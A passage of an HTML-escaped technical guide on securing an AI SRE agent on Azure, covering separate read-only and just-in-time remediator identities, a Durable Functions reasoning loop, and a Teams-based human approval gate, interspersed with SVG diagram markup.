fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='324' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='20' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='100' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='148' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='324' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='100' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='116' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='324' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='148' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='324' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='116' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='324' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='100' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='244' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='20' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='244' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='20' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='20' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='244' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='4' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='20' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='244' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='244' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='244' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='20' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='244' fill='currentColor' style='font-size:1em'\u003eK\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='244' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='4' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='20' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='244' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='244' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='20' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='244' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='244' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='20' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='244' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='20' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='244' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='244' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='244' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='20' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='20' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch2 id=\"1-the-ai-sre-dual-identity-model\"\u003e1. The AI SRE Dual Identity Model\u003c/h2\u003e\n\u003cp\u003eThe most common security failure in agentic DevOps is granting an AI agent persistent \u003ccode\u003eContributor\u003c/code\u003e access. That makes the agent\u0026rsquo;s Managed Identity the highest-value target in your subscription. Instead, use a \u003cstrong\u003eSeparation of Concerns\u003c/strong\u003e model with two distinct identities.\u003c/p\u003e\n\u003ch3 id=\"observer-vs-remediator\"\u003eObserver vs. Remediator\u003c/h3\u003e\n\u003ctable\u003e\n\t\u003cthead\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003cth style=\"text-align: left\"\u003eIdentity\u003c/th\u003e\n\t\t\t\t\t\u003cth style=\"text-align: left\"\u003ePersistence\u003c/th\u003e\n\t\t\t\t\t\u003cth style=\"text-align: left\"\u003eRBAC Roles\u003c/th\u003e\n\t\t\t\t\t\u003cth style=\"text-align: left\"\u003ePrimary Function\u003c/th\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/thead\u003e\n\t\u003ctbody\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eObserver\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eAlways-On\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003ccode\u003eMonitoring Reader\u003c/code\u003e, \u003ccode\u003eLog Analytics Reader\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eDiagnostic investigation, reading metrics/logs.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eRemediator\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eJIT Only\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003ccode\u003eAKS Cluster Admin\u003c/code\u003e, \u003ccode\u003eContributor\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eExecuting approved changes (scaling, restarts).\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003eThe agent runtime always operates as the \u003cstrong\u003eObserver\u003c/strong\u003e. It has enough permission to understand \u003cem\u003ewhy\u003c/em\u003e an incident is happening but no permission to change anything. The \u003cstrong\u003eRemediator\u003c/strong\u003e identity only activates via \u003cstrong\u003ePrivileged Identity Management (PIM)\u003c/strong\u003e for a 15-minute window \u003cem\u003eafter\u003c/em\u003e a human has approved a specific proposed action.\u003c/p\u003e\n\u003cp\u003eThe defaults are designed for a demo. You\u0026rsquo;re not running a demo.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePrerequisite:\u003c/strong\u003e The remediator identity must have an \u003cstrong\u003eEligible\u003c/strong\u003e assignment for the required roles at the target scope. The agent cannot \u0026ldquo;grant\u0026rdquo; itself a role; it can only \u0026ldquo;activate\u0026rdquo; an existing eligibility.\u003c/p\u003e\n\u003ch2 id=\"2-stateful-orchestration-with-durable-functions\"\u003e2. Stateful Orchestration with Durable Functions\u003c/h2\u003e\n\u003cp\u003eIncident response is inherently stateful. An agent must investigate, propose, wait for a human, and then execute. \u003cstrong\u003eAzure Durable Functions\u003c/strong\u003e (running in a VNet-integrated Function App) is the ideal runtime for this \u0026ldquo;Human Interaction\u0026rdquo; pattern.\u003c/p\u003e\n\u003ch3 id=\"the-react-reasoning-loop\"\u003eThe ReAct reasoning Loop\u003c/h3\u003e\n\u003cp\u003eThe agent uses a \u003cstrong\u003eReAct (Reasoning + Acting)\u003c/strong\u003e pattern. Given an alert, it iterates through a cycle: Thought -\u0026gt; Tool Call (e.g., \u003ccode\u003eget_top_pods_by_memory\u003c/code\u003e) -\u0026gt; Observation -\u0026gt; Repeat.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Durable Functions Orchestrator: The Reasoning Loop\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eorchestrator_function\u003c/span\u003e(context: df\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eDurableOrchestrationContext):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    alert_context \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e context\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eget_input()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    reasoning_history \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e []\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e i \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e range(MAX_ITERATIONS):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#75715e\"\u003e# 1. Ask LLM for next action\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        proposal \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eyield\u003c/span\u003e context\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ecall_activity(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;GetLlmProposal\u0026#34;\u003c/span\u003e, {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;history\u0026#34;\u003c/span\u003e: reasoning_history, \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;alert\u0026#34;\u003c/span\u003e: alert_context\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        })\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e proposal\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003etype \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;TOOL_CALL\u0026#34;\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#75715e\"\u003e# 2. Execute a SAFE read-only tool (Observer identity)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            result \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eyield\u003c/span\u003e context\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ecall_activity(proposal\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003etool_name, proposal\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eargs)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            reasoning_history\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eappend({\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;tool\u0026#34;\u003c/span\u003e: proposal\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003etool_name, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;result\u0026#34;\u003c/span\u003e: result})\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eelif\u003c/span\u003e proposal\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003etype \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;REMEDIATION\u0026#34;\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#75715e\"\u003e# 3. Transition to Human-in-the-Loop\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eyield\u003c/span\u003e context\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ecall_sub_orchestrator(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;HumanApprovalWorkflow\u0026#34;\u003c/span\u003e, proposal)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"3-the-human-in-the-loop-gate\"\u003e3. The Human-in-the-Loop Gate\u003c/h2\u003e\n\u003cp\u003eFor production workloads, autonomous action is a risk. We implement a hard gate using \u003cstrong\u003eTeams Adaptive Cards\u003c/strong\u003e. The orchestrator sends a card to the on-call engineer\u0026rsquo;s Teams channel and pauses execution using \u003ccode\u003ewait_for_external_event\u003c/code\u003e.\u003c/p\u003e\n\u003ch3 id=\"hitl-approval-flow-via-teams\"\u003eHITL Approval Flow via Teams\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 656 233\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 80,48 L 296,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 312,96 L 536,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 312,144 L 536,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,192 L 296,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,16 L 72,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,32 L 72,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,192 L 72,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 304,16 L 304,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 304,96 L 304,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 544,16 L 544,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 544,144 L 544,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='88.000000,192.000000 76.000000,186.399994 76.000000,197.600006' fill='currentColor' transform='rotate(180.000000, 80.000000, 192.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='304.000000,48.000000 292.000000,42.400002 292.000000,53.599998' fill='currentColor' transform='rotate(0.000000, 296.000000, 48.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='320.000000,144.000000 308.000000,138.399994 308.000000,149.600006' fill='currentColor' transform='rotate(180.000000, 312.000000, 144.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='544.000000,96.000000 532.000000,90.400002 532.000000,101.599998' fill='currentColor' transform='rotate(0.000000, 536.000000, 96.000000)'\u003e\u003c/polygon\u003e\n\u003ccircle cx='72' cy='32' r='6' stroke='currentColor' fill='#fff'\u003e\u003c/circle\u003e\n\u003ctext text-anchor='middle' x='32' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='180' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='180' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='180' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='180' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='180' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='180' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='180' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='180' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='180' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='180' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='180' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='84' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='4' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='84' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='84' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='84' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='84' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='84' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='84' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='84' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='84' fill='currentColor' 